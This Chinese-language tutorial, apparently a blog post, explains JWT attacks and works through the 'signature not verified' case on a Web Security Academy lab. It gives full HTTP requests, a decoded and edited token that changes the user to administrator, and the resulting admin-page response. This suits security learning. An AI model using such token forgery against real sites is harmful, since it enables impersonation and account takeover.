JWT攻擊是使用者向網站發送修改後的JWT,目標是冒充另一個身份的使用者,並繞過身份驗證和存取控制。如果攻擊者能夠使用任意值創建自己的JWT有效令牌,他們能夠升級自己的權限或冒充其他用戶,完全控制他們的帳戶。
JWT常見攻擊手法有以下幾種:
關於JWT的介紹可參考 json web token介紹
1.簽名未驗證
網站沒有驗證JWT簽名,攻擊者可以對JWT內容任意更改
舉例如下,當存取admin頁面時,返回只有administrator帳戶才能使用
################ request ################
GET /admin HTTP/1.1
Host: 0a36001b04ccef7bc0a7741d006c0066.web-security-academy.net
Cookie:session=eyJraWQiOiI0ZjY1MzkzNC0yMTM3LTQzNGItYjE0OC0yNzg4Y2Y0OGRlMWYiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY1NjU3ODQxNH0.Hp6sPpaIOCVwA34Eb2-h_pU2r6dUH_ZptjPt07uvKcF6z7PGUKWTV6ZQqXMoArudgF2E0WyAP0BYzoYZ1M4WVu4tUY3v_1Tnbf7-H_EqIDihcQ6KuxNaXNNPZw22GGvVgUdCsy3XgfZFH_LY5raFPpjavJ5aAOcqXG58zQlFYWcU5Kye2xB5AczvbDEDnpvQk00ygPBPSnXbV4JIk1jRJDM1suI5LN_tKn7LD_oBOwRGaJtreNekpV-8NXqbxzfjgVqAmHhQz6ZDxV-5LmiHT9yXVX7PdsUt5xhfrZYkTd_s8n6s0RvHvR1gwueVCplJqecZRRCkaAzwF9O1M9GwPw
Cache-Control: max-age=0
...omit...
################ response ################
...omit... only allow administrator ...omit...
使用JWT editor可以發現,token中的eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY1NjU3ODQxNH0等於以下
{
"iss": "portswigger",
"sub": "wiener",
"exp": 1656578414
}
透過JWT editor將上述內容改為administrator
{
"iss": "portswigger",
"sub": "administrator",
"exp": 1656578414
}
此時token裡這部份會變成eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NTY1Nzg0MTR9
送出編輯token後的請求,可成功存取admin介面
################ request ################
GET /admin HTTP/1.1
Host: 0a36001b04ccef7bc0a7741d006c0066.web-security-academy.net
Cookie:session=eyJraWQiOiI0ZjY1MzkzNC0yMTM3LTQzNGItYjE0OC0yNzg4Y2Y0OGRlMWYiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NTY1Nzg0MTR9.Hp6sPpaIOCVwA34Eb2-h_pU2r6dUH_ZptjPt07uvKcF6z7PGUKWTV6ZQqXMoArudgF2E0WyAP0BYzoYZ1M4WVu4tUY3v_1Tnbf7-H_EqIDihcQ6KuxNaXNNPZw22GGvVgUdCsy3XgfZFH_LY5raFPpjavJ5aAOcqXG58zQlFYWcU5Kye2xB5AczvbDEDnpvQk00ygPBPSnXbV4JIk1jRJDM1suI5LN_tKn7LD_oBOwRGaJtreNekpV-8NXqbxzfjgVqAmHhQz6ZDxV-5LmiHT9yXVX7PdsUt5xhfrZYkTd_s8n6s0RvHvR1gwueVCplJqecZRRCkaAzwF9O1M9GwPw
Cache-Control: max-age=0
...omit...
################ response ################
...omit...
<section>
<p>User deleted successfully!</p>
<h1>Users</h1>
<div>
<span>wiener - </span>
<a href="/admin/delete?username=wiener">Delete</a>
...omit...
參考資料
6種常見的JWT attack方法
Web Security Academy